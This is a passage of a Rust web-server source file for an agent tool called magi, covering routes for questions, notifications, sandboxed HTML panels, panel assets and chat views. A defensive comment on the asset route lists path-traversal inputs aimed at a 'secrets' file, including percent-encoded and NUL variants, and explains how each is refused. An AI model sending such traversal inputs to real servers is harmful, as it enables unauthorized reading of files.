7146            .any(|p| !ids.insert(p.id))
7147        || comparison
7148            .fields
7149            .iter()
7150            .flat_map(|f| &f.original_triggers)
7151            .any(|t| !ids.insert(t.id))
7152    {
7153        return None;
7154    }
7155    let fields = comparison
7156        .fields
7157        .iter()
7158        .map(|f| f.view(comparison.excerpt))
7159        .collect::<Option<Vec<_>>>()?;
7160    Some(PostingView {
7161        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7162        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7163        fields,
7164    })
7165}
7166
7167impl QuestionView {
7168    /// The view of `question`, reading who is waiting on it from `store`.
7169    ///
7170    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7171    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7172        let base = md::ImageBase::QuestionPanel {
7173            id: question.id.clone(),
7174        };
7175        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7176        Self {
7177            choice_effects: question
7178                .choices
7179                .iter()
7180                .filter_map(|c| {
7181                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7182                })
7183                .collect(),
7184            record_revision: question_record_revision(&question),
7185            detail_md: md::to_nodes(&question.detail, &base),
7186            posting_view: posting_view(&question, &base),
7187            thread_bodies_md: question
7188                .thread
7189                .iter()
7190                .map(|t| md::to_nodes(&t.body, &base))
7191                .collect(),
7192            thread_notes_md: question
7193                .thread
7194                .iter()
7195                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7196                .collect(),
7197            deputy_exhausted: store.deputy_exhausted(&question),
7198            waiting_on_agent: question.waiting_on_agent(),
7199            holder,
7200            deputies_enabled: deputies_enabled(cfg, &question),
7201            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7202            run_is_task: question.run_names_task(),
7203            origin_chat: None,
7204            origin_chat_closed: false,
7205            can_consult_chat: false,
7206            question,
7207        }
7208    }
7209
7210    /// Fill `origin_chat` from the queue and the talks.
7211    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
7212        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7213        self.can_consult_chat = consult.is_some();
7214        let talk =
7215            consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
7216        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7217        self.origin_chat = talk.map(|t| t.id);
7218        self
7219    }
7220}
7221
7222/// The config this repository resolves, or `None` when it cannot be read.
7223/// Discovering is git processes plus a config render, so a request that needs
7224/// it for many items takes it once and passes it down.
7225fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7226    Config::discover(repo, None).ok().map(|(c, _)| c)
7227}
7228
7229/// Can `magi serve` start a deputy for this question under `cfg`?
7230fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7231    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7232}
7233
7234/// The views `GET /api/questions` answers. `load` runs at most once, however
7235/// many questions there are, and not at all when there are none.
7236fn question_views(
7237    qs: Vec<Question>,
7238    store: &ask::Questions,
7239    load: impl FnOnce() -> Option<Config>,
7240) -> Vec<QuestionView> {
7241    if qs.is_empty() {
7242        return Vec::new();
7243    }
7244    let cfg = load();
7245    qs.into_iter()
7246        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7247        .collect()
7248}
7249
7250/// Who is honestly waiting on an open question right now: `"asker"` (the
7251/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7252/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7253/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7254/// up, or the question never had anyone listening (a conductor question or a
7255/// merge approval from before deputies, or not yet given one).
7256///
7257/// `None` for a question that is settled, and for one that is not an agent's
7258/// to wait on at all (a release notice).
7259fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7260    if !q.status.open() {
7261        return None;
7262    }
7263    if q.cwd.is_none()
7264        && q.deputy.is_none()
7265        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7266    {
7267        return crate::deputy::kind_of(q).map(|_| "nobody");
7268    }
7269    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7270        Some(_) if q.deputy.is_some() => "deputy",
7271        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7272        Some(_) => "asker",
7273        None => "nobody",
7274    })
7275}
7276
7277/// `GET /api/questions`.
7278///
7279/// Everything, not just the open ones: an answered question is the record of a
7280/// decision, and the phone is where the operator goes back to check what they
7281/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7282async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7283    blocking(move || {
7284        let questions = ui.questions.list();
7285        let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7286        Ok(Json(
7287            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7288                .into_iter()
7289                .map(|view| view.with_origin(&tasks, &talks))
7290                .collect(),
7291        ))
7292    })
7293    .await
7294}
7295
7296/// Question content and answer controls never wait for task/chat provenance.
7297async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7298    blocking(move || {
7299        Ok(Json(question_views(
7300            ui.questions.list(),
7301            &ui.questions,
7302            || deputy_config(&ui.repo),
7303        )))
7304    })
7305    .await
7306}
7307
7308fn question_record_revision(question: &Question) -> String {
7309    use std::hash::{Hash as _, Hasher as _};
7310    let mut hash = std::hash::DefaultHasher::new();
7311    serde_json::to_vec(question)
7312        .expect("serializable question")
7313        .hash(&mut hash);
7314    format!("{:016x}", hash.finish())
7315}
7316
7317#[derive(Serialize)]
7318struct QuestionOriginView {
7319    id: String,
7320    record_revision: String,
7321    origin_chat: Option<String>,
7322    origin_chat_closed: bool,
7323    can_consult_chat: bool,
7324}
7325
7326async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7327    blocking(move || {
7328        let questions = ui.questions.list();
7329        let (tasks, talks) = question_origin_inputs(&ui, &questions)?;
7330        Ok(Json(
7331            questions
7332                .into_iter()
7333                .map(|question| {
7334                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7335                    let can_consult_chat = consult.is_some();
7336                    let talk = consult
7337                        .or_else(|| crate::consult::associated_talk(&tasks, &talks, &question));
7338                    QuestionOriginView {
7339                        record_revision: question_record_revision(&question),
7340                        id: question.id,
7341                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7342                        origin_chat: talk.map(|talk| talk.id),
7343                        can_consult_chat,
7344                    }
7345                })
7346                .collect(),
7347        ))
7348    })
7349    .await
7350}
7351
7352/// Only the task ancestry and chats these questions actually reference. Run
7353/// mappings share the reconciled queue index; exact task references bypass it.
7354/// No question means no task/chat I/O, including no index reconciliation.
7355fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<(Vec<Task>, Vec<Talk>)> {
7356    fn task_for_run(
7357        ui: &Ui,
7358        index: &mut Option<Vec<Arc<TaskRelation>>>,
7359        run: &str,
7360        loaded: &HashMap<String, Task>,
7361    ) -> ApiResult<Option<Task>> {
7362        if !plain_record_id(run) {
7363            return Ok(None);
7364        }
7365        if index.is_none() {
7366            *index = Some(ui.indexed_tasks()?);
7367        }
7368        Ok(index
7369            .as_ref()
7370            .expect("loaded index")
7371            .iter()
7372            .find(|task| task.runs.iter().any(|id| id == run))
7373            .and_then(|task| {
7374                loaded
7375                    .get(&task.id)
7376                    .cloned()
7377                    .or_else(|| ui.queue.get(&task.id).ok())
7378            })
7379            .filter(|task| task.runs.iter().any(|id| id == run)))
7380    }
7381    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7382        plain_record_id(id)
7383            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7384            .flatten()
7385            .filter(|task| task.id == id)
7386    };
7387    let mut index = None;
7388    let mut tasks = HashMap::new();
7389    let mut talks = HashMap::new();
7390    for question in questions {
7391        let mut current = if question.node == crate::conduct::NODE {
7392            direct_task(&question.run, &tasks)
7393        } else {
7394            task_for_run(ui, &mut index, &question.run, &tasks)?
7395        };
7396        let mut seen = HashSet::new();
7397        for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7398            let Some(task) = current.take() else {
7399                break;
7400            };
7401            if !seen.insert(task.id.clone()) {
7402                break;
7403            }
7404            let chat = task.chat_talk().map(str::to_owned);
7405            let followup = task.followup.clone();
7406            tasks.insert(task.id.clone(), task);
7407            if let Some(chat) = chat {
7408                if plain_record_id(&chat)
7409                    && !talks.contains_key(&chat)
7410                    && let Ok(talk) = ui.talks.get(&chat)
7411                {
7412                    talks.insert(chat, talk);
7413                }
7414                break;
7415            }
7416            let Some(followup) = followup else {
7417                break;
7418            };
7419            current = match followup.origin_task {
7420                Some(id) => direct_task(&id, &tasks),
7421                None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7422            };
7423        }
7424    }
7425    let mut tasks: Vec<Task> = tasks.into_values().collect();
7426    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7427    Ok((tasks, talks.into_values().collect()))
7428}
7429
7430/// `GET /api/notifications`: not dismissed, newest first, with the unread
7431/// count so the badge and the list cannot disagree.
7432async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7433    blocking(move || {
7434        let items = ui.notices.list();
7435        let unread = items.iter().filter(|n| n.unread()).count();
7436        let items: Vec<_> = items
7437            .into_iter()
7438            .map(|n| {
7439                let question = crate::notices::answerable_question(&n, &ui.questions);
7440                let mut item = serde_json::to_value(n)?;
7441                item["answerable_question"] = serde_json::json!(question);
7442                Ok(item)
7443            })
7444            .collect::<anyhow::Result<_>>()?;
7445        Ok(Json(
7446            serde_json::json!({ "unread": unread, "items": items }),
7447        ))
7448    })
7449    .await
7450}
7451
7452fn notice_error(e: anyhow::Error) -> ApiError {
7453    // An unknown or malformed id and a vanished file are the same answer to
7454    // the phone: that notification is gone.
7455    ApiError::not_found(format!("{e:#}"))
7456}
7457
7458/// `POST /api/notifications/{id}/read`.
7459async fn notification_read(
7460    State(ui): State<Arc<Ui>>,
7461    Path(id): Path<String>,
7462) -> ApiResult<Json<Notice>> {
7463    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7464}
7465
7466/// `POST /api/notifications/{id}/dismiss`.
7467async fn notification_dismiss(
7468    State(ui): State<Arc<Ui>>,
7469    Path(id): Path<String>,
7470) -> ApiResult<Json<Notice>> {
7471    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7472}
7473
7474/// `POST /api/notifications/read-all`.
7475async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7476    blocking(move || {
7477        let changed = ui.notices.mark_all_read()?;
7478        Ok(Json(serde_json::json!({ "marked": changed })))
7479    })
7480    .await
7481}
7482
7483/// The body of `POST /api/questions/{id}/answer`.
7484///
7485/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7486/// a bad request rather than a guess: an answer magi invented is worse than a
7487/// question left open.
7488#[derive(Debug, Default, Deserialize)]
7489#[serde(default, deny_unknown_fields)]
7490struct NewAnswer {
7491    choice: Option<String>,
7492    text: Option<String>,
7493}
7494
7495async fn question_answer(
7496    State(ui): State<Arc<Ui>>,
7497    Path(id): Path<String>,
7498    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7499) -> ApiResult<Json<QuestionView>> {
7500    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7501    let answer = match (body.choice, body.text) {
7502        (Some(c), None) => Answer::Choice(c),
7503        (None, Some(t)) => Answer::Text(t),
7504        (Some(_), Some(_)) => {
7505            return Err(ApiError::bad_request(
7506                "send either `choice` or `text`, not both",
7507            ));
7508        }
7509        (None, None) => {
7510            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7511        }
7512    };
7513
7514    blocking(move || {
7515        let id = resolve_question(&ui.questions, &id)?;
7516        let q = ui
7517            .questions
7518            .get(&id)
7519            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7520        if !q.status.open() {
7521            // Answered from the terminal, or by another phone, in between the
7522            // list and the tap. The UI shows the recorded answer rather than an
7523            // error, so it needs the record, not just the status.
7524            return Err(ApiError::conflict(format!(
7525                "question {} is already {}",
7526                q.short(),
7527                q.status.as_str()
7528            )));
7529        }
7530        // `Question::answer` owns the rules - an unoffered choice, free text on
7531        // a multiple-choice question, an empty reply - so the route does not
7532        // restate them and cannot drift from the CLI's behaviour.
7533        let cfg = deputy_config(&ui.repo);
7534        let (q, ()) = ui
7535            .questions
7536            .update(&q.id, |r| r.answer(answer))
7537            .map_err(ApiError::bad_request_from)?;
7538        let (tasks, talks) =
7539            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7540        Ok(Json(
7541            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7542        ))
7543    })
7544    .await
7545}
7546
7547/// A dedicated status avoids the client's settled-question 409 handling.
7548fn question_text_error(e: anyhow::Error) -> ApiError {
7549    let reason = e
7550        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7551        .map(|e| e.reason);
7552    let error = ApiError::bad_request_from(e);
7553    if let Some(reason) = reason {
7554        ApiError {
7555            text_reason: Some(reason),
7556            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7557        }
7558    } else {
7559        error
7560    }
7561}
7562
7563/// The body of `POST /api/questions/{id}/say`.
7564#[derive(Debug, Deserialize)]
7565#[serde(deny_unknown_fields)]
7566struct NewSay {
7567    body: String,
7568}
7569
7570/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7571///
7572/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7573/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7574/// file, so there is no turn to serialize against and no
7575/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7576/// is a *different* process - the run parked behind `magi ask` - and picks
7577/// the reply up on its own poll of the very same file, same as an answer
7578/// does.
7579async fn question_say(
7580    State(ui): State<Arc<Ui>>,
7581    Path(id): Path<String>,
7582    body: std::result::Result<Json<NewSay>, JsonRejection>,
7583) -> ApiResult<Json<QuestionView>> {
7584    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7585    blocking(move || {
7586        let id = resolve_question(&ui.questions, &id)?;
7587        let q = ui
7588            .questions
7589            .get(&id)
7590            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7591        if !q.status.open() {
7592            // Same granularity as `question_answer`: answered or abandoned in
7593            // between the list and the tap is not this route's error to
7594            // explain any differently.
7595            return Err(ApiError::conflict(format!(
7596                "question {} is already {}",
7597                q.short(),
7598                q.status.as_str()
7599            )));
7600        }
7601        // `Question::say` owns the one rule that matters here - an empty
7602        // message tells the agent nothing - so the route does not restate it.
7603        let cfg = deputy_config(&ui.repo);
7604        let (q, ()) = ui
7605            .questions
7606            .update(&q.id, |r| {
7607                if body.body.trim().is_empty() {
7608                    return r.say(body.body);
7609                }
7610                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7611                r.say(body.body)
7612            })
7613            .map_err(question_text_error)?;
7614        let (tasks, talks) =
7615            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7616        Ok(Json(
7617            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
7618        ))
7619    })
7620    .await
7621}
7622
7623/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7624/// came from. The question stays open: the chat agent answers it with `magi
7625/// answer`, or puts the decision to the owner in the conversation.
7626///
7627/// Answers 202 and runs the turn in the background, like every route that
7628/// spends agent calls. The text is queued as a draft of the existing talk, and
7629/// the turn goes through the talk's own gate and session; no seat or waiter is
7630/// started here.
7631async fn question_consult(
7632    State(ui): State<Arc<Ui>>,
7633    Path(id): Path<String>,
7634) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7635    let (view, reclaimed) = blocking({
7636        let ui = Arc::clone(&ui);
7637        move || {
7638            let id = resolve_question(&ui.questions, &id)?;
7639            let q = ui
7640                .questions
7641                .get(&id)
7642                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7643            if !q.status.open() {
7644                return Err(ApiError::conflict(format!(
7645                    "question {} is already {}",
7646                    q.short(),
7647                    q.status.as_str()
7648                )));
7649            }
7650            let (tasks, talks) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7651            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7652                return Err(ApiError::conflict(format!(
7653                    "question {} has no chat to ask",
7654                    q.short()
7655                )));
7656            };
7657            // Read the config before `begin` saves anything: a failure here
7658            // must leave no consult record or draft behind, or a retry would
7659            // see `fresh == false` and never start the turn.
7660            let cfg = if q.consult.is_none() {
7661                Some(Config::discover(&talk.repo, None)?.0)
7662            } else {
7663                None
7664            };
7665            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7666            let claim = if fresh {
7667                match ui.begin_queued_talk_turn(&talk.id)? {
7668                    Some(turn_guard) => {
7669                        let talk = ui.talks.get(&talk.id)?;
7670                        let cfg = match cfg {
7671                            Some(cfg) => cfg,
7672                            None => Config::discover(&talk.repo, None)?.0,
7673                        };
7674                        Some((talk, cfg, turn_guard))
7675                    }
7676                    None => None,
7677                }
7678            } else {
7679                None
7680            };
7681            let q = ui.questions.get(&q.id)?;
7682            let cfg = deputy_config(&ui.repo);
7683            let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
7684            Ok((view, claim))
7685        }
7686    })
7687    .await?;
7688    if let Some((talk, cfg, turn_guard)) = reclaimed {
7689        let talks = ui.talks.clone();
7690        let id = talk.id.clone();
7691        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7692    }
7693    Ok((StatusCode::ACCEPTED, Json(view)))
7694}
7695
7696/// Expand an id or short id to exactly one question id.
7697fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7698    if plain_record_id(id) && store.path_of(id).is_file() {
7699        return Ok(id.to_owned());
7700    }
7701    pick(
7702        store.list().into_iter().map(|q| q.id).collect(),
7703        id,
7704        "question",
7705    )
7706}
7707
7708/// `GET /api/questions/{id}/panel`.
7709///
7710/// The panel an agent wrote for this question, as `text/html` under
7711/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7712/// A question without one is a 404 rather than an empty page: the client
7713/// preflights this route with `HEAD` and must be able to tell "no panel" from
7714/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7715/// parent document so it cannot tell the difference by looking.
7716///
7717/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7718/// sanitises or minifies it - a sanitiser is a list of things someone thought
7719/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7720/// is the direction that stays safe when an agent writes markup nobody
7721/// predicted.
7722async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7723    blocking(move || {
7724        let id = resolve_question(&ui.questions, &id)?;
7725        let Some(html) = ui.questions.panel_html(&id) else {
7726            return Err(ApiError::not_found(format!("question {id} has no panel")));
7727        };
7728        Ok(panel_response(
7729            "text/html; charset=utf-8",
7730            false,
7731            html.into_bytes(),
7732        ))
7733    })
7734    .await
7735}
7736
7737/// `GET /api/questions/{id}/asset/{name}`.
7738///
7739/// One file from the question's own panel directory, so a panel can show a
7740/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7741/// having to allow anything off this machine.
7742///
7743/// This is the only route in the server where a client names a file, so it is
7744/// the only one with a traversal surface, and the name is checked by
7745/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7746/// what is worth being explicit about, because the answer is not "all of it in
7747/// one place":
7748///
7749/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7750///   the raw request path and `{name}` spans exactly one segment, so a real
7751///   slash makes the request too long for the route and the router answers 404.
7752/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7753///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7754///   `..\secrets` respectively, which look like plain filenames to the router.
7755///   The validator refuses them here - both for the literal `..` and because
7756///   `/` and `\` are not in the permitted character set - and answers 400.
7757/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7758///   the platform's path API is not, and it is refused here for the same
7759///   reason: NUL is not a permitted character.
7760/// * [`Questions::panel_asset`] validates again on read, so the check is not
7761///   load-bearing in only one place. This route's own check exists so the
7762///   failure is a 400 that says which name was wrong, rather than a store error
7763///   the operator has to interpret.
7764async fn question_asset(
7765    State(ui): State<Arc<Ui>>,
7766    Path((id, name)): Path<(String, String)>,
7767) -> ApiResult<Response> {
7768    // Before any filesystem work and before any path is built: a name this
7769    // server will not serve should not become a `PathBuf` at all.
7770    if !crate::ask::valid_asset_name(&name) {
7771        return Err(ApiError::bad_request(format!(
7772            "`{name}` is not a usable asset name"
7773        )));
7774    }
7775    blocking(move || {
7776        let id = resolve_question(&ui.questions, &id)?;
7777        let asset = ui
7778            .questions
7779            .panel_asset(&id, &name)
7780            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7781        let Some(bytes) = asset else {
7782            return Err(ApiError::not_found(format!(
7783                "question {id} has no asset `{name}`"
7784            )));
7785        };
7786        Ok(panel_response(
7787            asset_content_type(&name),
7788            is_svg(&name),
7789            bytes,
7790        ))
7791    })
7792    .await
7793}
7794
7795/// Content type for a panel asset, from a closed whitelist.
7796///
7797/// A whitelist with an `application/octet-stream` fallback rather than a
7798/// guess, because the one answer that must never come out of here is
7799/// `text/html`. An agent that writes `notes.html` into its panel directory and
7800/// links it would otherwise get its own markup rendered at the top level of the
7801/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7802/// magi's origin - which is precisely the thing the panel design exists to
7803/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7804///
7805/// `nosniff` accompanies this on every response, so a browser cannot decide it
7806/// knows better than the type we sent.
7807fn asset_content_type(name: &str) -> &'static str {
7808    match extension(name).as_deref() {
7809        Some("png") => "image/png",
7810        Some("jpg" | "jpeg") => "image/jpeg",
7811        Some("gif") => "image/gif",
7812        Some("webp") => "image/webp",
7813        Some("svg") => "image/svg+xml",
7814        Some("css") => "text/css; charset=utf-8",
7815        Some("txt") => "text/plain; charset=utf-8",
7816        _ => "application/octet-stream",
7817    }
7818}
7819
7820/// Is this an SVG, and therefore a file that must never be opened at the top
7821/// level?
7822fn is_svg(name: &str) -> bool {
7823    extension(name).as_deref() == Some("svg")
7824}
7825
7826/// Lowercased extension, or `None` for a name without one.
7827fn extension(name: &str) -> Option<String> {
7828    name.rsplit_once('.')
7829        .map(|(_, ext)| ext.to_ascii_lowercase())
7830}
7831
7832/// Every panel response, with the four headers that make it safe and, for an
7833/// SVG, a fifth.
7834///
7835/// One function rather than a header list per handler, because a panel route
7836/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7837/// model gone, silently, on one of two routes. Adding a third panel route later
7838/// means calling this, and there is nowhere else to build a panel response.
7839///
7840/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7841/// as an `<img src>` inside the panel that script cannot run - but the asset
7842/// URL is also a plain URL an operator can be talked into opening in a tab,
7843/// where it is a document on magi's own origin. `Content-Disposition:
7844/// attachment` makes the browser download it instead of rendering it, which
7845/// closes that door without taking away the ability to draw a diff. Raster
7846/// images have no such execution surface and are left inline, so tapping a
7847/// screenshot still shows it.
7848fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7849    let mut res = (
7850        [
7851            (header::CONTENT_TYPE, content_type),
7852            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7853            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7854            (header::REFERRER_POLICY, "no-referrer"),
7855        ],
7856        body,
7857    )
7858        .into_response();
7859    if download {
7860        res.headers_mut().insert(
7861            header::CONTENT_DISPOSITION,
7862            HeaderValue::from_static("attachment"),
7863        );
7864    }
7865    res
7866}
7867
7868/// A talk as the phone reads it.
7869///
7870/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7871/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7872/// parses markdown itself - and the process-local `thinking` hint.
7873#[derive(Debug, Serialize)]
7874struct TalkView {
7875    #[serde(flatten)]
7876    talk: Talk,
7877    turn_bodies_md: Vec<Vec<md::Node>>,
7878    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7879    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7880    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7881    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7882    /// this server process.
7883    ///
7884    /// This is deliberately not durable: another server process cannot see
7885    /// it, and a restarted server must not claim an old turn is live. It is a
7886    /// progress hint rather than proof a reply landed; the transcript remains
7887    /// the source of truth for that.
7888    thinking: bool,
7889    /// Context-window usage, derived per request - see
7890    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7891    /// and each mutation) so the phone needs no extra call or polling.
7892    context: talk::ContextUsage,
7893    /// `[talk] operator_name`, when configured; the Chat labels the
7894    /// operator's turns with it.
7895    operator_name: Option<String>,
7896    /// The active persona's display name; `None` for the default voice.
7897    persona_name: Option<String>,
7898    /// URL of the avatar for the conversation's persona (the default voice
7899    /// included). Server-built; a configured `icon` never reaches the client.
7900    persona_avatar: String,
7901    /// Operator avatar; display only and independent of repository config.
7902    operator_avatar: String,
7903    magi_avatar: String,
7904}
7905
7906impl TalkView {
7907    /// Reads the talk's repository config itself; a config that cannot be
7908    /// read leaves the window unknown but never fails the conversation.
7909    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7910        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7911        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7912    }
7913
7914    /// As [`Self::new`], with the config already in hand (the list reads one
7915    /// per repository, not one per conversation).
7916    fn with_config(
7917        talk: Talk,
7918        thinking: bool,
7919        cfg: Option<&Config>,
7920        home: &FsPath,
7921        cache: &id_links::IndexCache,
7922    ) -> Self {
7923        let references = cache.for_talk(home, &talk);
7924        Self::with_references(talk, thinking, cfg, home, &references)
7925    }
7926
7927    fn with_references(
7928        mut talk: Talk,
7929        thinking: bool,
7930        cfg: Option<&Config>,
7931        home: &FsPath,
7932        references: &id_links::IdIndex,
7933    ) -> Self {
7934        // This owned value is the display DTO; never write it back to the talk store.
7935        let snapshot = talk.clone();
7936        for (index, turn) in talk.turns.iter_mut().enumerate() {
7937            let original = &snapshot.turns[index];
7938            if turn.messages.is_empty() {
7939                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7940                    turn.messages.push(talk::Message {
7941                        sender: Some(talk::Sender::Magi),
7942                        body: original.body.clone(),
7943                        display: Some(display),
7944                        attachments: original.attachments.clone(),
7945                        reply: None,
7946                    });
7947                }
7948            } else {
7949                for (i, message) in turn.messages.iter_mut().enumerate() {
7950                    message.display =
7951                        talk::notice_display(&snapshot, original, original.messages.get(i));
7952                    if message.display.is_some() {
7953                        message.sender = Some(talk::Sender::Magi);
7954                    }
7955                }
7956            }
7957        }
7958        for message in &mut talk.pending_messages {
7959            if message.display.is_none()
7960                && (message.sender == Some(talk::Sender::Magi)
7961                    || snapshot
7962                        .completion_notices
7963                        .iter()
7964                        .any(|r| r.notice == message.body))
7965            {
7966                message.display = crate::prompt::legacy_notice_display(&message.body);
7967                if message.display.is_some() {
7968                    message.sender = Some(talk::Sender::Magi);
7969                }
7970            }
7971        }
7972        if talk.pending_messages.is_empty()
7973            && snapshot
7974                .completion_notices
7975                .iter()
7976                .any(|r| r.notice == talk.pending)
7977            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7978        {
7979            talk.pending_messages.push(talk::Message {
7980                sender: Some(talk::Sender::Magi),
7981                display: Some(display),
7982                body: talk.pending.clone(),
7983                attachments: talk.pending_attachments.clone(),
7984                reply: None,
7985            });
7986        }
7987        let excerpts: Vec<Vec<Option<String>>> = talk
7988            .turns
7989            .iter()
7990            .map(|turn| {
7991                turn.messages
7992                    .iter()
7993                    .map(|m| {
7994                        m.display
7995                            .as_ref()
7996                            .map(|d| d.facts.chars().take(240).collect())
7997                    })
7998                    .collect()
7999            })
8000            .collect();
8001        for turn in &mut talk.turns {
8002            let provenance = talk::sender(turn, None);
8003            turn.sender = Some(provenance);
8004            for message in &mut turn.messages {
8005                message.sender = Some(message.sender.unwrap_or(provenance));
8006            }
8007        }
8008        // Old reply snapshots have only a role; recover provenance from their target.
8009        let senders: Vec<Vec<talk::Sender>> = talk
8010            .turns
8011            .iter()
8012            .map(|turn| {
8013                if turn.messages.is_empty() {
8014                    vec![talk::sender(turn, None)]
8015                } else {
8016                    turn.messages
8017                        .iter()
8018                        .map(|m| talk::sender(turn, Some(m)))
8019                        .collect()
8020                }
8021            })
8022            .collect();
8023        for reply in talk
8024            .turns
8025            .iter_mut()
8026            .flat_map(|t| t.messages.iter_mut())
8027            .chain(talk.pending_messages.iter_mut())
8028            .filter_map(|m| m.reply.as_mut())
8029        {
8030            if let Some(Some(excerpt)) = excerpts
8031                .get(reply.target.turn)
8032                .and_then(|ms| ms.get(reply.target.message))
8033            {
8034                reply.excerpt = excerpt.clone();
8035                reply.sender = Some(talk::Sender::Magi);
8036            }
8037            if reply.sender.is_none() {
8038                reply.sender = senders
